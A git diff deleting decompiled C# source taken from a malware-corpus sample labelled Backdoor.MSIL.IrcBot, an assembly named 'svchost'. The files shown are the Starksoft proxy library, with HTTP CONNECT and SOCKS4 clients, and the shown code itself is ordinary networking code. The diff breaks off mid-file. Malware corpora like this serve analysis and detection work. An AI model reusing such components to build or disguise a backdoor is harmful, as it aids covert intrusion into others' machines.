-// Decompiled with JetBrains decompiler
-// Type: Starksoft.Net.Proxy.CreateConnectionAsyncCompletedEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.ComponentModel;
-using System.Net.Sockets;
-
-namespace Starksoft.Net.Proxy
-{
- public class CreateConnectionAsyncCompletedEventArgs : AsyncCompletedEventArgs
- {
- private TcpClient _proxyConnection;
-
- public CreateConnectionAsyncCompletedEventArgs(
- Exception error,
- bool cancelled,
- TcpClient proxyConnection)
- : base(error, cancelled, (object) null)
- {
- this._proxyConnection = proxyConnection;
- }
-
- public TcpClient ProxyConnection => this._proxyConnection;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/HttpProxyClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/HttpProxyClient.cs
deleted file mode 100644
index fe8e72c3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/HttpProxyClient.cs
+++ /dev/null
@@ -1,287 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Starksoft.Net.Proxy.HttpProxyClient
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.ComponentModel;
-using System.Globalization;
-using System.Net.Sockets;
-using System.Text;
-using System.Threading;
-
-namespace Starksoft.Net.Proxy
-{
- public class HttpProxyClient : IProxyClient
- {
- private const int HTTP_PROXY_DEFAULT_PORT = 8080;
- private const string HTTP_PROXY_CONNECT_CMD = "CONNECT {0}:{1} HTTP/1.0\r\nHOST {0}:{1}\r\n\r\n";
- private const int WAIT_FOR_DATA_INTERVAL = 50;
- private const int WAIT_FOR_DATA_TIMEOUT = 15000;
- private const string PROXY_NAME = "HTTP";
- private string _proxyHost;
- private int _proxyPort;
- private HttpProxyClient.HttpResponseCodes _respCode;
- private string _respText;
- private TcpClient _tcpClient;
- private BackgroundWorker _asyncWorker;
- private Exception _asyncException;
- private bool _asyncCancelled;
-
- public HttpProxyClient()
- {
- }
-
- public HttpProxyClient(TcpClient tcpClient) => this._tcpClient = tcpClient != null ? tcpClient : throw new ArgumentNullException(nameof (tcpClient));
-
- public HttpProxyClient(string proxyHost)
- {
- this._proxyHost = !string.IsNullOrEmpty(proxyHost) ? proxyHost : throw new ArgumentNullException(nameof (proxyHost));
- this._proxyPort = 8080;
- }
-
- public HttpProxyClient(string proxyHost, int proxyPort)
- {
- if (string.IsNullOrEmpty(proxyHost))
- throw new ArgumentNullException(nameof (proxyHost));
- if (proxyPort <= 0 || proxyPort > (int) ushort.MaxValue)
- throw new ArgumentOutOfRangeException(nameof (proxyPort), "port must be greater than zero and less than 65535");
- this._proxyHost = proxyHost;
- this._proxyPort = proxyPort;
- }
-
- public string ProxyHost
- {
- get => this._proxyHost;
- set => this._proxyHost = value;
- }
-
- public int ProxyPort
- {
- get => this._proxyPort;
- set => this._proxyPort = value;
- }
-
- public string ProxyName => "HTTP";
-
- public TcpClient TcpClient
- {
- get => this._tcpClient;
- set => this._tcpClient = value;
- }
-
- public TcpClient CreateConnection(string destinationHost, int destinationPort)
- {
- try
- {
- if (this._tcpClient == null)
- {
- if (string.IsNullOrEmpty(this._proxyHost))
- throw new ProxyException("ProxyHost property must contain a value.");
- if (this._proxyPort <= 0 || this._proxyPort > (int) ushort.MaxValue)
- throw new ProxyException("ProxyPort value must be greater than zero and less than 65535");
- this._tcpClient = new TcpClient();
- this._tcpClient.Connect(this._proxyHost, this._proxyPort);
- }
- this.SendConnectionCommand(destinationHost, destinationPort);
- return this._tcpClient;
- }
- catch (SocketException ex)
- {
- throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Connection to proxy host {0} on port {1} failed.", new object[2]
- {
- (object) Utils.GetHost(this._tcpClient),
- (object) Utils.GetPort(this._tcpClient)
- }), (Exception) ex);
- }
- }
-
- private void SendConnectionCommand(string host, int port)
- {
- NetworkStream stream = this._tcpClient.GetStream();
- byte[] bytes = Encoding.ASCII.GetBytes(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "CONNECT {0}:{1} HTTP/1.0\r\nHOST {0}:{1}\r\n\r\n", new object[2]
- {
- (object) host,
- (object) port.ToString((IFormatProvider) CultureInfo.InvariantCulture)
- }));
- stream.Write(bytes, 0, bytes.Length);
- this.WaitForData(stream);
- byte[] numArray = new byte[this._tcpClient.ReceiveBufferSize];
- StringBuilder stringBuilder = new StringBuilder();
- long num = 0;
- do
- {
- int count = stream.Read(numArray, 0, this._tcpClient.ReceiveBufferSize);
- num += (long) count;
- stringBuilder.Append(Encoding.UTF8.GetString(numArray, 0, count));
- }
- while (stream.DataAvailable);
- this.ParseResponse(stringBuilder.ToString());
- if (this._respCode == HttpProxyClient.HttpResponseCodes.OK)
- return;
- this.HandleProxyCommandError(host, port);
- }
-
- private void HandleProxyCommandError(string host, int port)
- {
- string message;
- switch (this._respCode)
- {
- case HttpProxyClient.HttpResponseCodes.None:
- message = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Proxy destination {0} on port {1} failed to return a recognized HTTP response code. Server response: {2}", new object[3]
- {
- (object) Utils.GetHost(this._tcpClient),
- (object) Utils.GetPort(this._tcpClient),
- (object) this._respText
- });
- break;
- case HttpProxyClient.HttpResponseCodes.BadGateway:
- message = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Proxy destination {0} on port {1} responded with a 502 code - Bad Gateway. If you are connecting to a Microsoft ISA destination please refer to knowledge based article Q283284 for more information. Server response: {2}", new object[3]
- {
- (object) Utils.GetHost(this._tcpClient),
- (object) Utils.GetPort(this._tcpClient),
- (object) this._respText
- });
- break;
- default:
- message = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Proxy destination {0} on port {1} responded with a {2} code - {3}", (object) Utils.GetHost(this._tcpClient), (object) Utils.GetPort(this._tcpClient), (object) ((int) this._respCode).ToString((IFormatProvider) CultureInfo.InvariantCulture), (object) this._respText);
- break;
- }
- throw new ProxyException(message);
- }
-
- private void WaitForData(NetworkStream stream)
- {
- int num = 0;
- while (!stream.DataAvailable)
- {
- Thread.Sleep(50);
- num += 50;
- if (num > 15000)
- throw new ProxyException(string.Format("A timeout while waiting for the proxy server at {0} on port {1} to respond.", (object) Utils.GetHost(this._tcpClient), (object) Utils.GetPort(this._tcpClient)));
- }
- }
-
- private void ParseResponse(string response) => this.ParseCodeAndText(response.Replace('\n', ' ').Split('\r')[0]);
-
- private void ParseCodeAndText(string line)
- {
- if (line.IndexOf("HTTP") == -1)
- throw new ProxyException(string.Format("No HTTP response received from proxy destination. Server response: {0}.", (object) line));
- int startIndex = line.IndexOf(" ") + 1;
- int num = line.IndexOf(" ", startIndex);
- string s = line.Substring(startIndex, num - startIndex);
- int result = 0;
- if (!int.TryParse(s, out result))
- throw new ProxyException(string.Format("An invalid response code was received from proxy destination. Server response: {0}.", (object) line));
- this._respCode = (HttpProxyClient.HttpResponseCodes) result;
- this._respText = line.Substring(num + 1).Trim();
- }
-
- public bool IsBusy => this._asyncWorker != null && this._asyncWorker.IsBusy;
-
- public bool IsAsyncCancelled => this._asyncCancelled;
-
- public void CancelAsync()
- {
- if (this._asyncWorker == null || this._asyncWorker.CancellationPending || !this._asyncWorker.IsBusy)
- return;
- this._asyncCancelled = true;
- this._asyncWorker.CancelAsync();
- }
-
- private void CreateAsyncWorker()
- {
- if (this._asyncWorker != null)
- this._asyncWorker.Dispose();
- this._asyncException = (Exception) null;
- this._asyncWorker = (BackgroundWorker) null;
- this._asyncCancelled = false;
- this._asyncWorker = new BackgroundWorker();
- }
-
- public event EventHandler CreateConnectionAsyncCompleted;
-
- public void CreateConnectionAsync(string destinationHost, int destinationPort)
- {
- if (this._asyncWorker != null && this._asyncWorker.IsBusy)
- throw new InvalidOperationException("The HttpProxy object is already busy executing another asynchronous operation. You can only execute one asychronous method at a time.");
- this.CreateAsyncWorker();
- this._asyncWorker.WorkerSupportsCancellation = true;
- this._asyncWorker.DoWork += new DoWorkEventHandler(this.CreateConnectionAsync_DoWork);
- this._asyncWorker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(this.CreateConnectionAsync_RunWorkerCompleted);
- this._asyncWorker.RunWorkerAsync((object) new object[2]
- {
- (object) destinationHost,
- (object) destinationPort
- });
- }
-
- private void CreateConnectionAsync_DoWork(object sender, DoWorkEventArgs e)
- {
- try
- {
- object[] objArray = (object[]) e.Argument;
- e.Result = (object) this.CreateConnection((string) objArray[0], (int) objArray[1]);
- }
- catch (Exception ex)
- {
- this._asyncException = ex;
- }
- }
-
- private void CreateConnectionAsync_RunWorkerCompleted(
- object sender,
- RunWorkerCompletedEventArgs e)
- {
- if (this.CreateConnectionAsyncCompleted == null)
- return;
- this.CreateConnectionAsyncCompleted((object) this, new CreateConnectionAsyncCompletedEventArgs(this._asyncException, this._asyncCancelled, (TcpClient) e.Result));
- }
-
- private enum HttpResponseCodes
- {
- None = 0,
- Continue = 100, // 0x00000064
- SwitchingProtocols = 101, // 0x00000065
- OK = 200, // 0x000000C8
- Created = 201, // 0x000000C9
- Accepted = 202, // 0x000000CA
- NonAuthoritiveInformation = 203, // 0x000000CB
- NoContent = 204, // 0x000000CC
- ResetContent = 205, // 0x000000CD
- PartialContent = 206, // 0x000000CE
- MultipleChoices = 300, // 0x0000012C
- MovedPermanetly = 301, // 0x0000012D
- Found = 302, // 0x0000012E
- SeeOther = 303, // 0x0000012F
- NotModified = 304, // 0x00000130
- UserProxy = 305, // 0x00000131
- TemporaryRedirect = 307, // 0x00000133
- BadRequest = 400, // 0x00000190
- Unauthorized = 401, // 0x00000191
- PaymentRequired = 402, // 0x00000192
- Forbidden = 403, // 0x00000193
- NotFound = 404, // 0x00000194
- MethodNotAllowed = 405, // 0x00000195
- NotAcceptable = 406, // 0x00000196
- ProxyAuthenticantionRequired = 407, // 0x00000197
- RequestTimeout = 408, // 0x00000198
- Conflict = 409, // 0x00000199
- Gone = 410, // 0x0000019A
- PreconditionFailed = 411, // 0x0000019B
- RequestEntityTooLarge = 413, // 0x0000019D
- RequestURITooLong = 414, // 0x0000019E
- UnsupportedMediaType = 415, // 0x0000019F
- RequestedRangeNotSatisfied = 416, // 0x000001A0
- ExpectationFailed = 417, // 0x000001A1
- InternalServerError = 500, // 0x000001F4
- NotImplemented = 501, // 0x000001F5
- BadGateway = 502, // 0x000001F6
- ServiceUnavailable = 503, // 0x000001F7
- GatewayTimeout = 504, // 0x000001F8
- HTTPVersionNotSupported = 505, // 0x000001F9
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/IProxyClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/IProxyClient.cs
deleted file mode 100644
index a0b6de85..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/IProxyClient.cs
+++ /dev/null
@@ -1,28 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Starksoft.Net.Proxy.IProxyClient
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Net.Sockets;
-
-namespace Starksoft.Net.Proxy
-{
- public interface IProxyClient
- {
- event EventHandler CreateConnectionAsyncCompleted;
-
- string ProxyHost { get; set; }
-
- int ProxyPort { get; set; }
-
- string ProxyName { get; }
-
- TcpClient TcpClient { get; set; }
-
- TcpClient CreateConnection(string destinationHost, int destinationPort);
-
- void CreateConnectionAsync(string destinationHost, int destinationPort);
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyClientFactory.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyClientFactory.cs
deleted file mode 100644
index 0c5add2c..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyClientFactory.cs
+++ /dev/null
@@ -1,111 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Starksoft.Net.Proxy.ProxyClientFactory
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Net.Sockets;
-
-namespace Starksoft.Net.Proxy
-{
- public class ProxyClientFactory
- {
- public IProxyClient CreateProxyClient(ProxyType type)
- {
- switch (type)
- {
- case ProxyType.None:
- throw new ArgumentOutOfRangeException(nameof (type));
- case ProxyType.Http:
- return (IProxyClient) new HttpProxyClient();
- case ProxyType.Socks4:
- return (IProxyClient) new Socks4ProxyClient();
- case ProxyType.Socks4a:
- return (IProxyClient) new Socks4aProxyClient();
- case ProxyType.Socks5:
- return (IProxyClient) new Socks5ProxyClient();
- default:
- throw new ProxyException(string.Format("Unknown proxy type {0}.", (object) type.ToString()));
- }
- }
-
- public IProxyClient CreateProxyClient(ProxyType type, TcpClient tcpClient)
- {
- switch (type)
- {
- case ProxyType.None:
- throw new ArgumentOutOfRangeException(nameof (type));
- case ProxyType.Http:
- return (IProxyClient) new HttpProxyClient(tcpClient);
- case ProxyType.Socks4:
- return (IProxyClient) new Socks4ProxyClient(tcpClient);
- case ProxyType.Socks4a:
- return (IProxyClient) new Socks4aProxyClient(tcpClient);
- case ProxyType.Socks5:
- return (IProxyClient) new Socks5ProxyClient(tcpClient);
- default:
- throw new ProxyException(string.Format("Unknown proxy type {0}.", (object) type.ToString()));
- }
- }
-
- public IProxyClient CreateProxyClient(
- ProxyType type,
- string proxyHost,
- int proxyPort)
- {
- switch (type)
- {
- case ProxyType.None:
- throw new ArgumentOutOfRangeException(nameof (type));
- case ProxyType.Http:
- return (IProxyClient) new HttpProxyClient(proxyHost, proxyPort);
- case ProxyType.Socks4:
- return (IProxyClient) new Socks4ProxyClient(proxyHost, proxyPort);
- case ProxyType.Socks4a:
- return (IProxyClient) new Socks4aProxyClient(proxyHost, proxyPort);
- case ProxyType.Socks5:
- return (IProxyClient) new Socks5ProxyClient(proxyHost, proxyPort);
- default:
- throw new ProxyException(string.Format("Unknown proxy type {0}.", (object) type.ToString()));
- }
- }
-
- public IProxyClient CreateProxyClient(
- ProxyType type,
- string proxyHost,
- int proxyPort,
- string proxyUsername,
- string proxyPassword)
- {
- switch (type)
- {
- case ProxyType.None:
- throw new ArgumentOutOfRangeException(nameof (type));
- case ProxyType.Http:
- return (IProxyClient) new HttpProxyClient(proxyHost, proxyPort);
- case ProxyType.Socks4:
- return (IProxyClient) new Socks4ProxyClient(proxyHost, proxyPort, proxyUsername);
- case ProxyType.Socks4a:
- return (IProxyClient) new Socks4aProxyClient(proxyHost, proxyPort, proxyUsername);
- case ProxyType.Socks5:
- return (IProxyClient) new Socks5ProxyClient(proxyHost, proxyPort, proxyUsername, proxyPassword);
- default:
- throw new ProxyException(string.Format("Unknown proxy type {0}.", (object) type.ToString()));
- }
- }
-
- public IProxyClient CreateProxyClient(
- ProxyType type,
- TcpClient tcpClient,
- string proxyHost,
- int proxyPort,
- string proxyUsername,
- string proxyPassword)
- {
- IProxyClient proxyClient = this.CreateProxyClient(type, proxyHost, proxyPort, proxyUsername, proxyPassword);
- proxyClient.TcpClient = tcpClient;
- return proxyClient;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyException.cs
deleted file mode 100644
index 57421bab..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyException.cs
+++ /dev/null
@@ -1,34 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Starksoft.Net.Proxy.ProxyException
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Runtime.Serialization;
-
-namespace Starksoft.Net.Proxy
-{
- [Serializable]
- public class ProxyException : Exception
- {
- public ProxyException()
- {
- }
-
- public ProxyException(string message)
- : base(message)
- {
- }
-
- public ProxyException(string message, Exception innerException)
- : base(message, innerException)
- {
- }
-
- protected ProxyException(SerializationInfo info, StreamingContext context)
- : base(info, context)
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyType.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyType.cs
deleted file mode 100644
index 3394bfcc..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyType.cs
+++ /dev/null
@@ -1,17 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Starksoft.Net.Proxy.ProxyType
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Starksoft.Net.Proxy
-{
- public enum ProxyType
- {
- None,
- Http,
- Socks4,
- Socks4a,
- Socks5,
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4ProxyClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4ProxyClient.cs
deleted file mode 100644
index 6a60b22f..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4ProxyClient.cs
+++ /dev/null
@@ -1,309 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Starksoft.Net.Proxy.Socks4ProxyClient
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.ComponentModel;
-using System.Globalization;
-using System.Net;
-using System.Net.Sockets;
-using System.Text;
-using System.Threading;
-
-namespace Starksoft.Net.Proxy
-{
- public class Socks4ProxyClient : IProxyClient
- {
- private const int WAIT_FOR_DATA_INTERVAL = 50;
- private const int WAIT_FOR_DATA_TIMEOUT = 15000;
- private const string PROXY_NAME = "SOCKS4";
- internal const int SOCKS_PROXY_DEFAULT_PORT = 1080;
- internal const byte SOCKS4_VERSION_NUMBER = 4;
- internal const byte SOCKS4_CMD_CONNECT = 1;
- internal const byte SOCKS4_CMD_BIND = 2;
- internal const byte SOCKS4_CMD_REPLY_REQUEST_GRANTED = 90;
- internal const byte SOCKS4_CMD_REPLY_REQUEST_REJECTED_OR_FAILED = 91;
- internal const byte SOCKS4_CMD_REPLY_REQUEST_REJECTED_CANNOT_CONNECT_TO_IDENTD = 92;
- internal const byte SOCKS4_CMD_REPLY_REQUEST_REJECTED_DIFFERENT_IDENTD = 93;
- private TcpClient _tcpClient;
- private string _proxyHost;
- private int _proxyPort;
- private string _proxyUserId;
- private BackgroundWorker _asyncWorker;
- private Exception _asyncException;
- private bool _asyncCancelled;
-
- public Socks4ProxyClient()
- {
- }
-
- public Socks4ProxyClient(TcpClient tcpClient) => this._tcpClient = tcpClient != null ? tcpClient : throw new ArgumentNullException(nameof (tcpClient));
-
- public Socks4ProxyClient(string proxyHost, string proxyUserId)
- {
- if (string.IsNullOrEmpty(proxyHost))
- throw new ArgumentNullException(nameof (proxyHost));
- if (proxyUserId == null)
- throw new ArgumentNullException(nameof (proxyUserId));
- this._proxyHost = proxyHost;
- this._proxyPort = 1080;
- this._proxyUserId = proxyUserId;
- }
-
- public Socks4ProxyClient(string proxyHost, int proxyPort, string proxyUserId)
- {
- if (string.IsNullOrEmpty(proxyHost))
- throw new ArgumentNullException(nameof (proxyHost));
- if (proxyPort <= 0 || proxyPort > (int) ushort.MaxValue)
- throw new ArgumentOutOfRangeException(nameof (proxyPort), "port must be greater than zero and less than 65535");
- if (proxyUserId == null)
- throw new ArgumentNullException(nameof (proxyUserId));
- this._proxyHost = proxyHost;
- this._proxyPort = proxyPort;
- this._proxyUserId = proxyUserId;
- }
-
- public Socks4ProxyClient(string proxyHost)
- {
- this._proxyHost = !string.IsNullOrEmpty(proxyHost) ? proxyHost : throw new ArgumentNullException(nameof (proxyHost));
- this._proxyPort = 1080;
- }
-
- public Socks4ProxyClient(string proxyHost, int proxyPort)
- {
- if (string.IsNullOrEmpty(proxyHost))
- throw new ArgumentNullException(nameof (proxyHost));
- if (proxyPort <= 0 || proxyPort > (int) ushort.MaxValue)
- throw new ArgumentOutOfRangeException(nameof (proxyPort), "port must be greater than zero and less than 65535");
- this._proxyHost = proxyHost;
- this._proxyPort = proxyPort;
- }
-
- public string ProxyHost
- {
- get => this._proxyHost;
- set => this._proxyHost = value;
- }
-
- public int ProxyPort
- {
- get => this._proxyPort;
- set => this._proxyPort = value;
- }
-
- public virtual string ProxyName => "SOCKS4";
-
- public string ProxyUserId
- {
- get => this._proxyUserId;
- set => this._proxyUserId = value;
- }
-
- public TcpClient TcpClient
- {
- get => this._tcpClient;
- set => this._tcpClient = value;
- }
-
- public TcpClient CreateConnection(string destinationHost, int destinationPort)
- {
- if (string.IsNullOrEmpty(destinationHost))
- throw new ArgumentNullException(nameof (destinationHost));
- if (destinationPort > 0)
- {
- if (destinationPort <= (int) ushort.MaxValue)
- {
- try
- {
- if (this._tcpClient == null)
- {
- if (string.IsNullOrEmpty(this._proxyHost))
- throw new ProxyException("ProxyHost property must contain a value.");
- if (this._proxyPort <= 0 || this._proxyPort > (int) ushort.MaxValue)
- throw new ProxyException("ProxyPort value must be greater than zero and less than 65535");
- this._tcpClient = new TcpClient();
- this._tcpClient.Connect(this._proxyHost, this._proxyPort);
- }
- this.SendCommand(this._tcpClient.GetStream(), (byte) 1, destinationHost, destinationPort, this._proxyUserId);
- return this._tcpClient;
- }
- catch (Exception ex)
- {
- throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Connection to proxy host {0} on port {1} failed.", new object[2]
- {
- (object) Utils.GetHost(this._tcpClient),
- (object) Utils.GetPort(this._tcpClient)
- }), ex);
- }
- }
- }
- throw new ArgumentOutOfRangeException(nameof (destinationPort), "port must be greater than zero and less than 65535");
- }
-
- internal virtual void SendCommand(
- NetworkStream proxy,
- byte command,
- string destinationHost,
- int destinationPort,
- string userId)
- {
- if (userId == null)
- userId = "";
- byte[] ipAddressBytes = this.GetIPAddressBytes(destinationHost);
- byte[] destinationPortBytes = this.GetDestinationPortBytes(destinationPort);
- byte[] bytes = Encoding.ASCII.GetBytes(userId);
- byte[] buffer = new byte[9 + bytes.Length];
- buffer[0] = (byte) 4;
- buffer[1] = command;
- destinationPortBytes.CopyTo((Array) buffer, 2);
- ipAddressBytes.CopyTo((Array) buffer, 4);
- bytes.CopyTo((Array) buffer, 8);
- buffer[8 + bytes.Length] = (byte) 0;
- proxy.Write(buffer, 0, buffer.Length);
- this.WaitForData(proxy);
- byte[] numArray = new byte[8];
- proxy.Read(numArray, 0, 8);
- if (numArray[1] == (byte) 90)
- return;
- this.HandleProxyCommandError(numArray, destinationHost, destinationPort);
- }
-
- internal byte[] GetIPAddressBytes(string destinationHost)
- {
- IPAddress address = (IPAddress) null;
- if (!IPAddress.TryParse(destinationHost, out address))
- {
- try
- {
- address = Dns.GetHostEntry(destinationHost).AddressList[0];
- }
- catch (Exception ex)
- {
- throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "A error occurred while attempting to DNS resolve the host name {0}.", new object[1]
- {
- (object) destinationHost
- }), ex);
- }
- }
- return address.GetAddressBytes();
- }
-
- internal byte[] GetDestinationPortBytes(int value) => new byte[2]
- {
- Convert.ToByte(value / 256),
- Convert.ToByte(value % 256)
- };
-
- internal void HandleProxyCommandError(
- byte[] response,
- string destinationHost,
- int destinationPort)
- {
- byte num = response != null ? response[1] : throw new ArgumentNullException(nameof (response));
- byte[] address = new byte[4];
- for (int index = 0; index < 4; ++index)
- address[index] = response[index + 4];
- IPAddress ipAddress = new IPAddress(address);
- short int16 = BitConverter.ToInt16(new byte[2]
- {
- response[3],
- response[2]
- }, 0);
- string str;
- switch (num)
- {
- case 91:
- str = "connection request was rejected or failed";
- break;
- case 92:
- str = "connection request was rejected because SOCKS destination cannot connect to identd on the client";
- break;
- case 93:
- str = "connection request rejected because the client program and identd report different user-ids";
- break;
- default:
- str = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "proxy client received an unknown reply with the code value '{0}' from the proxy destination", new object[1]
- {
- (object) num.ToString((IFormatProvider) CultureInfo.InvariantCulture)
- });
- break;
- }
- throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "The {0} concerning destination host {1} port number {2}. The destination reported the host as {3} port {4}.", (object) str, (object) destinationHost, (object) destinationPort, (object) ipAddress.ToString(), (object) int16.ToString((IFormatProvider) CultureInfo.InvariantCulture)));
- }
-
- internal void WaitForData(NetworkStream stream)
- {
- int num = 0;
- while (!stream.DataAvailable)
- {
- Thread.Sleep(50);
- num += 50;
- if (num > 15000)
- throw new ProxyException("A timeout while waiting for the proxy destination to respond.");
- }
- }
-
- public bool IsBusy => this._asyncWorker != null && this._asyncWorker.IsBusy;
-
- public bool IsAsyncCancelled => this._asyncCancelled;
-
- public void CancelAsync()
- {
- if (this._asyncWorker == null || this._asyncWorker.CancellationPending || !this._asyncWorker.IsBusy)
- return;
- this._asyncCancelled = true;
- this._asyncWorker.CancelAsync();
- }
-
- private void CreateAsyncWorker()
- {
- if (this._asyncWorker != null)
- this._asyncWorker.Dispose();
- this._asyncException = (Exception) null;
- this._asyncWorker = (BackgroundWorker) null;
- this._asyncCancelled = false;
- this._asyncWorker = new BackgroundWorker();
- }
-
- public event EventHandler CreateConnectionAsyncCompleted;
-
- public void CreateConnectionAsync(string destinationHost, int destinationPort)
- {
- if (this._asyncWorker != null && this._asyncWorker.IsBusy)
- throw new InvalidOperationException("The Socks4/4a object is already busy executing another asynchronous operation. You can only execute one asychronous method at a time.");
- this.CreateAsyncWorker();
- this._asyncWorker.WorkerSupportsCancellation = true;
